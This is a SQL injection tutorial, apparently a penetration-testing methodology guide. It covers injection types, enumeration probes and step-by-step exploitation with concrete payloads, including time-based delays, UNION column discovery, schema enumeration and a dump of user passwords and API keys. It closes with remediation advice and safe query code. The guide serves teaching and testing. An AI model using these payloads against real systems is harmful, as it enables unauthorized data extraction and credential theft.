SQL injection happens when user-controlled input is placed into a database query as code instead of data.
The primitive is query structure control. The application builds a SQL statement from request data, then the database executes the final statement. If the attacker can change that statement, they may be able to read data, bypass authentication, modify records, or reach database-specific file and command features.
SQL injection usually appears in backend code that builds queries with:
- String concatenation
- Template strings
- String formatting
- Unsafe ORM raw-query escape hatches
- Dynamic filters
- Dynamic sort fields
- Report builders
- Import/export features
Common abuse scenarios include:
- Login bypasses
- Data extraction from hidden tables
- Blind extraction where responses do not print database output
- Modification or deletion of application data
- Schema enumeration
- File read or file write through database features
- Chaining into command execution on poorly configured database servers
When enumerating SQL injection opportunities, identify:
- Request parameters used in database queries
- Inputs reflected in search results, profiles, filters, reports, or admin panels
- Login forms and password reset flows
- Numeric identifiers passed through URLs or JSON bodies
- Sort, filter, and export parameters
- Verbose SQL errors
- Response differences between true and false conditions
- Delays caused by time-based payloads
- The backend database type
- The number of columns returned by injectable queries
- Whether the database account has file or administrative privileges
Types
Visible SQL injection prints database output in the response.
' UNION SELECT 1,sqlite_version(),3,4-- -
Error-based SQL injection reveals information through database errors.
'
Boolean-based blind SQL injection changes the response without directly printing data.
' AND '1'='1
' AND '1'='2
Time-based blind SQL injection proves control through delays.
' OR SLEEP(5)-- -
Dynamic identifier injection happens when values are parameterized, but table names, column names, sort fields, or expressions are still interpolated into SQL.
field=(SELECT password FROM users LIMIT 1)
Parameters protect values. They do not protect SQL identifiers.
Enumeration
Start with low-impact probes.
String context checks:
'
"
')
"))
Boolean checks:
' AND '1'='1
' AND '1'='2
' OR '1'='1'-- -
Numeric checks:
1 AND 1=1
1 AND 1=2
1 OR 1=1
Check common input locations:
GET parameters
POST form fields
JSON fields
Cookies
Headers
Route parameters
GraphQL variables
Confirm whether the injection is visible or blind.
Visible SQLite example:
' UNION SELECT 1,sqlite_version(),'x','y'-- -
Blind example:
1 AND 1=1
1 AND 1=2
Time-based examples:
' OR SLEEP(5)-- -
' OR pg_sleep(5)-- -
'; WAITFOR DELAY '0:0:5'-- -
Identify the database where possible:
SELECT sqlite_version();
SELECT @@version;
SELECT version();
SELECT banner FROM v$version;
Interesting findings include:
- Login bypass with a simple boolean payload
- SQL syntax errors that reveal query shape
- UNION output printed in the response
- A blind parameter with stable true and false behavior
- A time delay controlled by the payload
- Database user, version, or current database name disclosed
- Access to schema metadata
- Access to sensitive tables such as users, sessions, tokens, or API keys
Once the parameter is confirmed injectable, identify the query shape: string or numeric context, number of columns, output location, and database type.
Exploit
- Confirm the injection with a harmless quote.
'
- Determine whether the input is string-based or numeric.
String-based payloads usually need quote balancing:
' AND '1'='1
Numeric payloads usually do not:
1 AND 1=1
- Find the number of columns if UNION output is possible.
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Or:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
- Identify which columns are displayed.
' UNION SELECT 1,2,3,4-- -
- Extract database information.
SQLite:
' UNION SELECT 1,sqlite_version(),'x','y'-- -
MySQL:
' UNION SELECT 1,@@version,'x','y'-- -
PostgreSQL:
' UNION SELECT 1,version(),'x','y'-- -
- Enumerate schema metadata.
SQLite:
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE sql IS NOT NULL;
MySQL and PostgreSQL:
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';
- Dump only the data needed to prove impact.
' UNION SELECT id,username,password,api_key FROM users-- -
- Stop once impact is proven.
The exploit is not the quote. The exploit is proving that request data changed the SQL statement.
Remediation
Patch SQL injection by changing how queries are built:
- Use parameterized queries for all user-controlled values.
- Use strict allowlists for dynamic identifiers such as sort fields, report columns, and table names.
- Avoid string formatting for SQL statements that contain request data.
- Keep ORM raw-query features behind review.
- Run the application with a database account that only has required permissions.
- Disable verbose SQL errors in user-facing responses.
- Store password hashes with a dedicated password hashing function, not plain text.
- Keep sensitive secrets out of application tables unless the application needs them.
Safe value pattern:
rows = db.execute(
"SELECT id, username FROM users WHERE username LIKE ?",
(f"%{q}%",),
).fetchall()
Safe dynamic identifier pattern:
FIELD_MAP = {
"username": "username",
"email": "email",
}
field = FIELD_MAP.get(request.args.get("field", "username"))
if field is None:
abort(400)
Parameters protect values. All dynamic SQL structure needs an allowlist.